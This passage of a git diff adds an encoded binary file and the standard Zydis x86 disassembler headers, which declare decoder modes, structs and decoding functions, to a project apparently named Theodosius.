z9agdiC^ZppunhTXU6ibwlEo_-E%Xrf(QLlpqJX6gHxKvchM^88R=a1G;v!```FByF zuyb?IWa#Tc{=HAvg8OdN$!ftGOFi#LO|dGHReqgI9Yh*0&6 z?xiiU{|A3R#}NdTD>#qT0vWQOIx}53<~+}ts3JEp+cy~$s#kg!a4pjtgWNkPgu`N0 z%Mjpxpc@eH45^m!=ZL?j;|;%BqMv53>)i=+JBfZB{H8+U1yfS|lD+Ht zd)4+%a&aL77aAY~Xm=^B#pLZ*hZkT=5Y8s*d+uawM0wW-W-Xs@!!noUHe=2RJA4#X zGKVHdI&oG9bN2OBDfj@@vI>KYMx5oe-z2S+qT-;2nr<;#qD`fnZQ`tFd@@%8vBs(% zkg1IK~-0KNLU2(xYHC>q>;RJ3N>`f1~_oQceGW4jST0!<0x&!b4j&faMwdX|n`}(6C8ejm_ zkc%wTFN_94wfy?|wZWa2Bnu2;zjl6ULgr1yt#Etq(GEsbzo}6*>h~HnT>&299u2ke9=AGi3-Hy43Uv=|V{Uy_&*{}LJVCb=*IO~4S}NNAgeEy$mG}X^=F4^&_p5G~e>JH8>%!d=ktL`Q;f?r(Ljf$J;W2S<}^LXSYO=NqSlC(n$kpe`D=k5(QF&F+KrrA zZC+h9_XPTVwd%OOcG>;4d4BG%&D~PNwOqPZ&vks2HC$VzuIU3`+Qf`z>|et{ParyK zURzZU17GR|P|6AYe`$S{vHmE8Z(u4q(XS%E6%Ojxk@H61l5Q(M_|$O-fPV*k%nv)L z*znkLtc8zi?RZ1VF)r5XJI4q1f@$Y{x11SWDud-U6MUk>?sx+7jnJ z@L`vu0ep;09ii|EPb(=f^X#C05gwI}T=)_2E8*V;e--?2_*>vd!ru>{a3|nnEbF)o zKMKAd`j61uLsc+o~hv-{V$d}eBNm-c;`D!#` z7q~e}wob`5C>f321@0{+`%=kHC>f321&+q z3MqR)$yO=Z(@OTNlI>8k-AeYMl6|6N%~5V5j#e_{tKFew)DR0>Xlo0B%Th9G)`aW> zC8PHzLUuyQ{!ua;N>AtukRd;f?hPTMx*@o_H`4qhz$oMsW8i**+!v zRLPDg*(D|WL&-2akoMJ*Az!VflC@E?+mtLy$@(kVU?nS1ve8O5SIHJC8Lh?<`SP%m zy`*H@l`_OlZ4zO7^j zl?^V|By5Sba?X0oo#Dg0>GwE*?0{9%PyY2(i-cVZ=`m$pStW7BL57DyYvQ86a9KET3^=zkrD*M-rEL9tLxW64ig zU0Km+?(K|411Fr&MF=sJ#{Pxezo9YIQieop&QtdEbjIS3dc1}K6Jq~5pru(K>ws1a z<-|HFbQbYkiRO-U^Mp9Qc?f;dl3#S#Z!CRWAHz;p6?X z;{|#CGW?-9e_hJomgl?SlOC#dUyQtJvNF8;n$4Osz@_mYey6Ol~Ol0pYztu%AK#oc#5Zg$RZE5 zH4w*XO9)0e*2R_;w4sS%^qt7gO~@8c{1elI)P=16x|bF&(**JlIH>*$Cz>L$)oNTR zZLi56M@gW$8X8H?0n(-w7L`|wEy<^C!?_Khc|Mvgp4b=w1uLplP{4n^G>Fwc4)~qnQzp<*>OS~1#99WQhD?vZr=b)z$HDNa0@4tUn&l?&sj@VMzY{(U+4jJ1 z0snpYA@FHYKx_C^06pNJgx?E3-LqsbHPahW@kKLDAzywx2wADT>dOT#Wb>5lDaBo{ zWLuQ%RV6#7WZx*+1tp_KT*QlfleS^mjWhGzwd8Q8HRIC1l-|j0SN+ zMnAa`TpGj)S%H#`Ro1$b_mF#aNvjuui?BYiSs!^TR-DX&A=T=^X z=#|`dmf3tfHJ>h?rS=gXRJnP_be%=HBUmCttpBjARkDwkeA!Qn`yTUw@7C752GBKw zO^bL0Cs>8(HLhUaju8FGLU*p>p&_zeYb7DXAm@q0utkKZt0VN1PWthW?p*2JFZIG+ z*ssBU4fbpQmHiY44NGzM_REZGf;%CA_FAtTg zI)knX9Hm)=>M91I#CmrG;9TkcN~T^QbiL;IjTnR_q*Grq>Q3)Tk=kG^Fe}6{ptcqq z?V|;EY4B^klXbZ^(#u8NZBeNfAxhV2p~2fj^X}ro40@5OyRC{LLc}=7vR0H&v~CSf zXV6uFqkIw}$|u1f)XO+@=SufQp&OlS?Z47ZdUxxJ;k(j(Rq7Tn-Db)jfi_z&Y$lz0 z*PeK;^j>GZd_U*le$E#6Gd;OAgi{p_cCp%lsK zY`UKXhwf()qWf8}2_@#K5rA_QkFSVF0F+)zwPA}0QJD$7q*GroL_}A5u?`IOcXZnF zf$VCc`3KPleS}NS%E`cf4oNw~@fY1iu?dqOIu#;h48@y5(imL&vb%5tvic2Aj2nP` zRTC4%;zUZV;8Muo-ios};L=CBgmdN^-{+!hWJ4qlp@%|-o>n+(2|e_gVBwS={X0Kh zNKQJUaR?n0vg&x*nhsqD5m*N;l@K~8WYw|Iy&W;S4jOO^9TYNjw8mKo(n23D63&tq z>=GpG=mlTsppc7bCIL(dQTHlc84JLt27Bquv^a0ojnWYzJOI~|E}DlOF47CI7bCIL$`rGhb~;Tbf5~74dpmQ8YpD&bsN^Xvw=T|tpUavt1HQuCSzS2Pib&5|96}F;3_T$@qdMx!maOcgoH*HTt^-c+DP-_(#ToV6R=Bf6R{|W_ z@f;4JheB38TU?bbz?T z7D?BqID{?=8M^ek;xb+6sPI5b>i9zGppcRM(}T#n%Vpm-EAcp*5W zwriR-PX63xyllJ9Dn5k_zFrRRx#6d0CG-PX=@WjxIt+J*9&}Rvo1^UhG94*K+QLVuwH@Ajk}6te30(@lPmjzp;g z?*pX{3R!jhQiF~psUt$^ppaEZUJYqUmO7%84hmUy(D$H)Gv9OKQ_vzmx+xtLvg+7X zgB|^)9au6d^MgW$j$08q_0Q=$>8|Y1Kaoz?sC;`WJruI)+2>AAPEvYOTz~bf>Z9~f z$k3zr6U==dbOqD;V~SbW5U;otGPohIkDj%it@)u8P#RJdpF##d7}pwsZ;rcvYF3Vz z*QTWs;{KqJ!D|j)Q!6hmH)(i`b6<^qEGYOCGWhzK@sQQ-{z8e-zoIv@LI;Hm9j^Q1 zOviWYX=YyJ9WCP#d^vqIvC}il- z)8WF7E?s2>CH`#1r;x$d?dayl4pQQ52dzvH^_)V6o*L}v8YwF%*>RuZQ^?@!b`)9L zIlkFQiL)Kcl^zNidh~YgUKi;ZDEq(GT%>GLW$wRMferRjmrFpX+duZcRuQ-bC_~4b$ zzb<>cxY29Z**EQP1iag9Wo84d;?d(#bso8K{f-Bh^#8T~@URE+hOJ+8VnyPfA>)3$ zGckRqEqj#)`-FZnzK;Laqqn#689e>_J5JyCUBvo-3SXES_U98j zoA1Av{pY%4UEBQmP1K*i&AQm{m4kndo!;TwU61>}-F@lNKf9cW-7@>=UA>N16tr1< zpDtgprukowu1>nG$#)mK=Djzd>}bn7D_fjhmfUO7y;mNJT|8jT99ypezLx_ZTD<1_ zSx;{%(RqJwe!XMZ;l}gy^S5%JDVWs%>=zlQ`tEG|*RmyhM$DYH`^p37Yu~jZTu_xE#tQLUw7;6MfTuTiz~c;*00Y99ud_(Hz;Po zqEEJ*3fgu5m8HA$Km8#f;Yz1*pA0zmV2`iPU%Ga2O?Jfkm~WR)t5_OyY}&5GiK{1E z@&B%MtBea5ibvn@e)IHqA70uTGH-vg=bu~J`^ukLUBZq%oUnMIt)l(3(NmYz89XMg z+bj9EjQ-)Fb$@Mtb5Hx)T}O2IsnhOF#nXRw*zO)x=ab%H>xZ6-YJIIJ>4$HId@*-i zP~*v8Y)NljHGW$6^Nwa)GJhX7yVVQdZrI`-H!|Sa)pz&!ct^LY4_|oh;JxP$&VF(I z_;+92l|22A=+Yx+N2T_^ZFTsXeN8W=op|cS8CzOx`ZD&}VK0B0_x?nWw|2dl+Bm1_ z*{rNKA3yWjUlGTj?3DiL$z5J!|9Cj=%&g)EcNF${XWEy`n@wo6=g7P%QF{Kowe6*K zO@7;Su~}5Du^-)Ud&|4~_HTdgn7hAj>%}|L_K2;&=Y}r-a_QyOQx+XrR`~Pq zS%a2ONPF={w}Th{dak#Ay}{L6x4yNf^U=4zSh4?n#p}1}@_QzIHFWI>s9}Y zsom0tz4`p(*Jobz%F6FHC%65pu_Isl{NdvNc=tW9Gh@fmm>GLYn?APri~0M0D;gWW zu;8P^pZP9cH~RHU3r4mbd}?pj!q8K1^~SFTKb*JtjiNz+e)M_|pMA%BUa!4l!bocrrrC*Tk;zuhJcZOWqw)Mp^&$TX|e)!Dnwhzxp%r3d-4*!qN z_6j`opBD}tIrP!g3;kbhcW7?p{)a+7UEQX%zUL6f$5%6E<&L>Frz9u)Crbon?-Zl`B`Qer;>Nd9NSqwCC-oqs#7(+UF7c;IUDw#{ZpGHu`k(hCVYN zSoQnng`L*b+g85j%le}p8hUQpH~oXR&3WRJE4gQLqN}!_uUmV}oyXdLGNI)i!Bgga zn^5tD*Khy$UR*it(!AFmKb5om$CE=Y*Sm3l$cP5dv@H&q6Z&(DxBXuFbY;DFlfP^K z>5{^GzMpsZC-F@`E`RWq*#!^(y?4dNfPmU-V>Z9tti{3a_wM{UbJ>mk=if}(H~!(@ z%QwCIV07g__fMaEsO0{mqrbjwbi|!0Ki;VKQT()vkH0_d>w4*TJy`3_L+{`B@>1_N zJBN8aHE!MNWQW&^8xiZ%Kfly|`tNfJPj}jp+t1^^+xA6@T<}`_re2z8JUk@cBvG2esSYenZc{DpwRlz4_4m=U(dm*i#vMOLC`w z-f?2gV}tC=Us}GZZ@boxXpT=@%~Yemkyx~lYxgzq+wznU91Xm0NvT?%IS zkKXa#kj0}8tXMyL(1LFd)EZWC?!>X=Ev=W&XqR+y$FJ|qnE2Gj9@`U&Cj9yAf&UEu z=&3^syA1!sYtFvupZ~RH$Bg+s7Y$4+S~%^!1>-|+e_-hGTAx;|-!S|7^jRy9Kks?; zkHj|{&Hv`crQWlXJYFq(rL`mB=+=tL@N1brJ+kO(ryCvKyZw*#87nJiG@18j@NW%U zCKP{i^q0CB+vZ#zT>SLla{pfj=Y}3zwx(@FpOq6&wCd#9yxru#&JC%0rNiJJezQIs zJ@26#TW_4c!`^z$zU`w5{(jT{;Du+4I@{*{lYMT*x3do)aw~el^ZW;N-qfa(%w&R_UypIoUd3oE8`@T*qT=!dUWqIHF#k)tJ zYTnZk`hAl}+U&da;P&D*NB?MY|GGamw7TWwXOkOV>s66+X5yl)cV|7+Br|UPf@7T% zkI##p_w&xZ_vZDP)#JB`)1U3XVCBIpZ+L#_8*yRyl;*9E?;HE(rFqv!m8?4b=v{x* z+wGMx?~d3WV@@RRj^8FVT|d#_rSp#*(Kb{(eCbfzy=RVGUFtLH^10Xl z{(VySr|QnVQogk0Mmf4g>|zThj4urzTlh$sr|rfKTG13cswlrAJR)Mb&E^o2@WQg9 zf{MvSM42}`x*qn_16l~%s9&qDPAnSN zkn^^%YC&qZ(OS0J2t9JTHeQ8Du(nbLYFSv62X@;E{G}8g{$=k~gGFmj$@vIYSz&%f zzK~E1c3UdqqI8|9|I1?r>wsi2Mhkah`7%ph7K&uez*Z?zOc)Oni}Ks3hb4`c>>-43 zKT8&2%q)LqQT~xz85)KKUwX_pWPmZIxB`H++jQ;Ee*4pJMqIR6JvqXdlK4FQ^pm7D|QpB6-jJV`sCIfNk`+S*F*i|F^n;>S_5mh>2cNT{u!#O&RQqqVvLE^ zhFN-C_oS2{={oBb$zqI&6>5sB@7}#L4Aue3VvLD(t0}HYy+U>wtgj@CF(y`9Q(SAN zJh;SQU63rsm{`<1F!J!~sE$t0Wqvr}I%7;MdNXggQOiKCwqMM4Bd&(@NP}aHiPaub zqqW)JfA?a8)lRY)V`6n+mY(yc+qR!-ur%2b9|n`qOAwXF~-E|1gVi5 z>(4!oN3>qb^kENjj4`n~Lu$9_lWA}DU(n59O_eOhm{{S=LY3thRz=jBVzBO)EXJ5v zc<>-D*%)b?$3@<5JS(4&EW((dl_*rO^k-%Ntz*lKxVB0bV@z>HGRw7v`z4DpCRP`d zg-?ghd&scxm}C*gY+;ni!Yw&t4;dEzDp`y%#T9L`uv31W^9IYu3m4%SV`6oM)acu^ zeeBa`3=5k`7Gca5qENxopDAmfYxR>6SEOVy#uQg~X6ZRUuhwrR1}jyv7-M3^Fw1q$ z50@;)m{_O^PIcpj(9{D)y2eQsVa)03QA1q!N)}^GaoxczJzXD9d3~Ret|gMi7!#|f zDXw)76+UUO)=Cy*Oe}OFkuD$nCAXtPL9UUmS0#%u=5+Oj#BQVBCb_%(+Wug~^^s&T z#uQf{VC^H#Qp<_K;%6nBqz_v1;{r;dz5KK(ZKPVkI$4&qH&% z#BO~2S+#0U^JHe}={mb68H)9@xiT)onA4SFvhZNzNq7|KIlo%67-O<9)x?Tf-!|W1 zZIvv>m{@5h*5?hQLJig-$zqI&)t6a%ZY;ZePpM$h+Fr4a44Xm`#>DDpiYs+uUp)2n z-1t()MHq8#q%%vehmQtyL}yUXjf;}S7*kvs%nHC?aOWHH9X8pNz1{3Tb?-geSp(WW@$7-M1$hSVtK zjnB_*WU%OCSL7IDVhw@Rj@|!+E4;oBRZ>sacap^z6YDM$>(OuSbIQZ3lEoMk3l9Ut zrI)hLK(D)vxB}!ugE1x+Ku#9k_&dm{ZnTyx#+X=nrnr)QC*3gO>MmJ~F|p7cn5EZ^=pD13FC2JmLL9-a|GO#VzAaq7Gq4Tk-*w*I;&39^*ILXRmozEiB(`?y&1FEsqH-| zS&T8U3Qeqbt@9fiaeX6Mj4`o_OsognH`->fE=v|;Osr8RR_2O@AqJ~9HUDsoF|kHN zYPackWvOHL^9HMhWHH9X8e?MJ()p58E811E7-M3MWfong8ex7e)7Y6DV@#}jAT>rD zKOVmHlkp_FOR@-KeiDsimN)*A3%fRHrID^u$zqHtu3}(~-dET41!oM_9LZvgi8Y>C zvVqV}KhXhk>CejhC5td-3rkFKnRDY=$zqHtt_jT2wclF%eKdah*{hO87;{{u%+gD_ zX~X0rM!F727Gq3tO{~GfZzPK`CRUlr!pIA=Mi>@ekSxNOEi7l2ZsE2wJy#nR+I?{m zjxnaVDj+q=%bbTzB#SX7)+A=tBb9L1-o1aG5myJvVvLD38CYYKJwQ8!TTpM=;v|bP zCe{>YQL?RdK1Z?`V`5b@OE1^gQbW5Lc{ozC2xHDebkUqFyt?WM-0r%ClO>BWrnsh= zSiL+GUou!rB#SX7)^ujMPS=x?#TXN72D9{ZUB7htM6*!`2KY;E}C0UFy#f2LK zd8oId_2!nL$<%AqK*?f^=KOweKC}FhTU3_h?AQhn`x806LtH>oTNoP690I_3S}+SC zwc9p&>O0_T_+VyrJ&PDaA8*mq=3~L2Fra58>~SDO&dY+i4^q4BT_-)>0^{@!v5GNQ z@R#yn-QO+Hp{8!1v=HXO9*g8ji{uT9bcu)* z7)m*_y6AeSE(tvmT?7VI0Fv-Z<2~aNNQ_a*hS^!a792&u?JV!iqF=WPsDhGa3u z6xT{->2W>1YxrFTYpP^1#uV2>%nG5uI0`SXz;}7{I=^1B7-NcS6|?lXu4@ai=daHC zSh5&nitAx!)x}?Or^+Lq672?^{Uce7F~#)=t{Ua_oI0gx+t!)mEV4Bu%4AH#+c%I z+!WW_qxSVMSRYFkV@z>9!K`5XC6{&mfeg_e(%IjV#TZjuPvWYPhktFmzSUs02_&wj zF~$_v8c2<~)2K6Eb40sJ=rqY9%`82xw+GcPHds3(i!r9S)|uj}^0QwuSf?e6F{ZelF~zmH@%VIuRYz88 z#+c$-&n&%eY%1|sYOuOV7Gq3tJ!^_dRpVV@z?qXo{2?uFbAAqJ~VvIql~Q$Ok@W`(gFf8elZ9{xIGUdB24TKKD5 z;cvlgVNA3Wrj7-(l`#=cm_Q3=n*~$Xf_cS)39?{bwP5O5FxxGd`WDP<7EA*R=5-6E zp#}4X1=GladDDWq#e#Xuf(f=@{$s&3wqV}2V47GkJ1m%{7R);qOfw5+Cu2I{uU>ze zTQIvUm=+eyZpJv*pOzNP9*dq33+7#mo>msjUW=aA7R-AVJ#8$QeHJ~T7R-K&o?9)L z0~S4PEtrEAJ?$)*_bqzp1Fh!!{g6dZdkf|R3#Nkw^PvUP(SrHNg6U+z9JXLOTQDCp z#<`A#TQHwk^h8)NpIR`H7R+aiac=9PESS$N_C#ASUs&{XvtW)`Fx@Sfql|HGpJObT zFD;lJ7R*OCk}=Nq zBv>%tGA0Ip^)@Qef;q()=ln^sV7{}&m14nsZ^5KmFh4NHxlGe6nA402#b4d#z81`n zjB(EAbPMJu#yF=d!-6?u(UWPx{A|&aWx<@aV6rWka~8~<7R)aeOpXO}-h%0G!CbIl z23Rn^S}+4GnBOdzK^DwK3udqdbIF1kV!>RtVD7SDu2?X+7R>J!%-t5u9~MlW1#{Jc z8EU~?vtWi~IJX<)EEsRbIJZB=7ECRR zo)QbjhcV9iQ)N3GE@AOTX$)o=`SE zzoMe3EFM4R7AIMyMP>OVg|wI2zd*7Fr$VTSOKZZ|ZD@@gB|9MDg+Q)%3^n4$5X2?}%JYL>nBNMZ8~eH4$w;Y!+cR z;c5bG6=#;{8~&Q5*uuBEfcJr|Cd{mk%5;SqSREzywXLQrw>m1#<0C{^=%WkQ9g-lD0PfbhdmlfM5!l_1@Hdb}w>U&x0?1c1w2^oF+CB*jW zYGvzSgRgHYs^2gDl2S6$Gc(c=xeEn4+9{3BJBpH8eS=Wlp48NoEZCDCTO6y=bz=`t zrNj_1p!(*TQd9Sgxb&>JehF!@V@oFI7mqD;N}j%(rrO!lSrN79MqE-m2?=D{a*{Ux z(e2JkOifQp?AI^0Pbi`^6j%sKwdso3*~BRZeG^Gte|EnVv{YHh=+K0|R{c7>x^`m^ zN#hE3g_K&mCZ?vQCS=Daq4Z0N^2?m`s(l<4k0rb_qgjNF5{=~QTQ54@6uJmIAyy~y z&W0|8PHl^1^WK9lkWQ_Ffpi&Bva8r5TnQsx37wj7Bcdo*NT-(FKz4P7bZXoUWOr9c zr$>Wg1Hn zyl^j&xFN z+V+c;^M*}gpCsL?%&g?JxP-*`*eTVSYO^jym3wcgL~{gcFDzhRBLrsw^!YTQIhw|JZ3VDuto31NUXAM;bb*WC}jd9%_lw_#R;>uRo~~;jBc(qx#&= z-EwDT|AH(SlRvg3G)hGLFIZvX&0&S!=>J0R&0&S!uK$JJo5R+exlRL`n)B8fC`^rT zXR0$)cgZ)8*4(AN8mdNR`W>#-sLVjQ%|-J_QEGFMh1GCEUl(is zRl|uQ`FEVq=i;Vtsqf!$HD(@!}f=KQS`Wl2hX2 zQuw*B@S)nYl2H@FF;fK9mvIE+Ap7dt2Bpm!{Q9i#9{3|<>BAc~ z-k&Z$nM>2fLp1T*42vmviY8*|V_y1%g8bsV0Y&3W^NLHxO^@ypnb&U2Ozs>RpVTd)YkXYSxNgxi!z;#@;1s@P98Sod;x1*}1mMZ#N^S_g z5I+`}d>rLKk4M~OU6~ewk9>{ASsAXC0ZmJqeVlX;VpKUWy3Qyq93P(x2aXQfs=ym~ zN@oRQOQ5OPDFtLhA;*p-kJ#qHh8T;GLxiGKm*P5EK3W?C4Y(mKvJiYUB}D6j*dmcz zojF8jA+UQY{#tV=9JxXHNv2)3gDc&)MKkfNT=9 zRyd{Xf0n<|oWEwB)pNOe9w)*U8)_|;k#4zBv*<%OsQ$2)O0fhbTnwM;i(Y1$=gXeP zCSf-;^Cn@KU6&H)7TE?V7Sxkxa?Y(W-3NBt5d1a6oLgeLi|qPM +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoder mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecoderMode` enum. + */ +typedef enum ZydisDecoderMode_ +{ + /** + * Enables minimal instruction decoding without semantic analysis. + * + * This mode provides access to the mnemonic, the instruction-length, the effective + * operand-size, the effective address-width, some attributes (e.g. `ZYDIS_ATTRIB_IS_RELATIVE`) + * and all of the information in the `raw` field of the `ZydisDecodedInstruction` struct. + * + * Operands, most attributes and other specific information (like `AVX` info) are not + * accessible in this mode. + * + * This mode is NOT enabled by default. + */ + ZYDIS_DECODER_MODE_MINIMAL, + /** + * Enables the `AMD`-branch mode. + * + * Intel ignores the operand-size override-prefix (`0x66`) for all branches with 32-bit + * immediates and forces the operand-size of the instruction to 64-bit in 64-bit mode. + * In `AMD`-branch mode `0x66` is not ignored and changes the operand-size and the size of the + * immediate to 16-bit. + * + * This mode is NOT enabled by default. + */ + ZYDIS_DECODER_MODE_AMD_BRANCHES, + /** + * Enables `KNC` compatibility-mode. + * + * `KNC` and `KNL+` chips are sharing opcodes and encodings for some mask-related instructions. + * Enable this mode to use the old `KNC` specifications (different mnemonics, operands, ..). + * + * This mode is NOT enabled by default. + */ + ZYDIS_DECODER_MODE_KNC, + /** + * Enables the `MPX` mode. + * + * The `MPX` isa-extension reuses (overrides) some of the widenop instruction opcodes. + * + * This mode is enabled by default. + */ + ZYDIS_DECODER_MODE_MPX, + /** + * Enables the `CET` mode. + * + * The `CET` isa-extension reuses (overrides) some of the widenop instruction opcodes. + * + * This mode is enabled by default. + */ + ZYDIS_DECODER_MODE_CET, + /** + * Enables the `LZCNT` mode. + * + * The `LZCNT` isa-extension reuses (overrides) some of the widenop instruction opcodes. + * + * This mode is enabled by default. + */ + ZYDIS_DECODER_MODE_LZCNT, + /** + * Enables the `TZCNT` mode. + * + * The `TZCNT` isa-extension reuses (overrides) some of the widenop instruction opcodes. + * + * This mode is enabled by default. + */ + ZYDIS_DECODER_MODE_TZCNT, + /** + * Enables the `WBNOINVD` mode. + * + * The `WBINVD` instruction is interpreted as `WBNOINVD` on ICL chips, if a `F3` prefix is + * used. + * + * This mode is disabled by default. + */ + ZYDIS_DECODER_MODE_WBNOINVD, + /** + * Enables the `CLDEMOTE` mode. + * + * The `CLDEMOTE` isa-extension reuses (overrides) some of the widenop instruction opcodes. + * + * This mode is enabled by default. + */ + ZYDIS_DECODER_MODE_CLDEMOTE, + + /** + * Maximum value of this enum. + */ + ZYDIS_DECODER_MODE_MAX_VALUE = ZYDIS_DECODER_MODE_CLDEMOTE, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_DECODER_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_DECODER_MODE_MAX_VALUE) +} ZydisDecoderMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoder struct */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecoder` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZydisDecoder_ +{ + /** + * The machine mode. + */ + ZydisMachineMode machine_mode; + /** + * The address width. + */ + ZydisAddressWidth address_width; + /** + * The decoder mode array. + */ + ZyanBool decoder_mode[ZYDIS_DECODER_MODE_MAX_VALUE + 1]; +} ZydisDecoder; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup decoder Decoder + * Functions allowing decoding of instruction bytes to a machine interpretable struct. + * @{ + */ + +/** + * Initializes the given `ZydisDecoder` instance. + * + * @param decoder A pointer to the `ZydisDecoder` instance. + * @param machine_mode The machine mode. + * @param address_width The address width. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisDecoderInit(ZydisDecoder* decoder, ZydisMachineMode machine_mode, + ZydisAddressWidth address_width); + +/** + * Enables or disables the specified decoder-mode. + * + * @param decoder A pointer to the `ZydisDecoder` instance. + * @param mode The decoder mode. + * @param enabled `ZYAN_TRUE` to enable, or `ZYAN_FALSE` to disable the specified decoder-mode. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisDecoderEnableMode(ZydisDecoder* decoder, ZydisDecoderMode mode, + ZyanBool enabled); + +/** + * Decodes the instruction in the given input `buffer`. + * + * @param decoder A pointer to the `ZydisDecoder` instance. + * @param buffer A pointer to the input buffer. + * @param length The length of the input buffer. Note that this can be bigger than the + * actual size of the instruction -- you don't have to know the size up + * front. This length is merely used to prevent Zydis from doing + * out-of-bounds reads on your buffer. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct, that receives the + * details about the decoded instruction. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisDecoderDecodeBuffer(const ZydisDecoder* decoder, + const void* buffer, ZyanUSize length, ZydisDecodedInstruction* instruction); + +/** @} */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_DECODER_H */ diff --git a/Theodosius/Zydis/DecoderTypes.h b/Theodosius/Zydis/DecoderTypes.h new file mode 100644 index 0000000..45f5300 --- /dev/null +++ b/Theodosius/Zydis/DecoderTypes.h @@ -0,0 +1,1528 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Defines the basic `ZydisDecodedInstruction` and `ZydisDecodedOperand` structs. + */ + +#ifndef ZYDIS_INSTRUCTIONINFO_H +#define ZYDIS_INSTRUCTIONINFO_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Decoded operand */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory type */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMemoryOperandType` enum. + */ +typedef enum ZydisMemoryOperandType_ +{ + ZYDIS_MEMOP_TYPE_INVALID, + /** + * Normal memory operand. + */ + ZYDIS_MEMOP_TYPE_MEM, + /** + * The memory operand is only used for address-generation. No real memory-access is + * caused. + */ + ZYDIS_MEMOP_TYPE_AGEN, + /** + * A memory operand using `SIB` addressing form, where the index register is not used + * in address calculation and scale is ignored. No real memory-access is caused. + */ + ZYDIS_MEMOP_TYPE_MIB, + + /** + * Maximum value of this enum. + */ + ZYDIS_MEMOP_TYPE_MAX_VALUE = ZYDIS_MEMOP_TYPE_MIB, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MEMOP_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MEMOP_TYPE_MAX_VALUE) +} ZydisMemoryOperandType; + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoded operand */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecodedOperand` struct. + */ +typedef struct ZydisDecodedOperand_ +{ + /** + * The operand-id. + */ + ZyanU8 id; + /** + * The type of the operand. + */ + ZydisOperandType type; + /** + * The visibility of the operand. + */ + ZydisOperandVisibility visibility; + /** + * The operand-actions. + */ + ZydisOperandActions actions; + /** + * The operand-encoding. + */ + ZydisOperandEncoding encoding; + /** + * The logical size of the operand (in bits). + */ + ZyanU16 size; + /** + * The element-type. + */ + ZydisElementType element_type; + /** + * The size of a single element. + */ + ZydisElementSize element_size; + /** + * The number of elements. + */ + ZyanU16 element_count; + /** + * Extended info for register-operands. + */ + struct ZydisDecodedOperandReg_ + { + /** + * The register value. + */ + ZydisRegister value; + // TODO: AVX512_4VNNIW MULTISOURCE registers + } reg; + /** + * Extended info for memory-operands. + */ + struct ZydisDecodedOperandMem_ + { + /** + * The type of the memory operand. + */ + ZydisMemoryOperandType type; + /** + * The segment register. + */ + ZydisRegister segment; + /** + * The base register. + */ + ZydisRegister base; + /** + * The index register. + */ + ZydisRegister index; + /** + * The scale factor. + */ + ZyanU8 scale; + /** + * Extended info for memory-operands with displacement. + */ + struct ZydisDecodedOperandMemDisp_ + { + /** + * Signals, if the displacement value is used. + */ + ZyanBool has_displacement; + /** + * The displacement value + */ + ZyanI64 value; + } disp; + } mem; + /** + * Extended info for pointer-operands. + */ + struct ZydisDecodedOperandPtr_ + { + ZyanU16 segment; + ZyanU32 offset; + } ptr; + /** + * Extended info for immediate-operands. + */ + struct ZydisDecodedOperandImm_ + { + /** + * Signals, if the immediate value is signed. + */ + ZyanBool is_signed; + /** + * Signals, if the immediate value contains a relative offset. You can use + * `ZydisCalcAbsoluteAddress` to determine the absolute address value. + */ + ZyanBool is_relative; + /** + * The immediate value. + */ + union ZydisDecodedOperandImmValue_ + { + ZyanU64 u; + ZyanI64 s; + } value; + } imm; +} ZydisDecodedOperand; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Decoded instruction */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction attributes */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInstructionAttributes` data-type. + */ +typedef ZyanU64 ZydisInstructionAttributes; + +/** + * The instruction has the `ModRM` byte. + */ +#define ZYDIS_ATTRIB_HAS_MODRM 0x0000000000000001 // (1 << 0) +/** + * The instruction has the `SIB` byte. + */ +#define ZYDIS_ATTRIB_HAS_SIB 0x0000000000000002 // (1 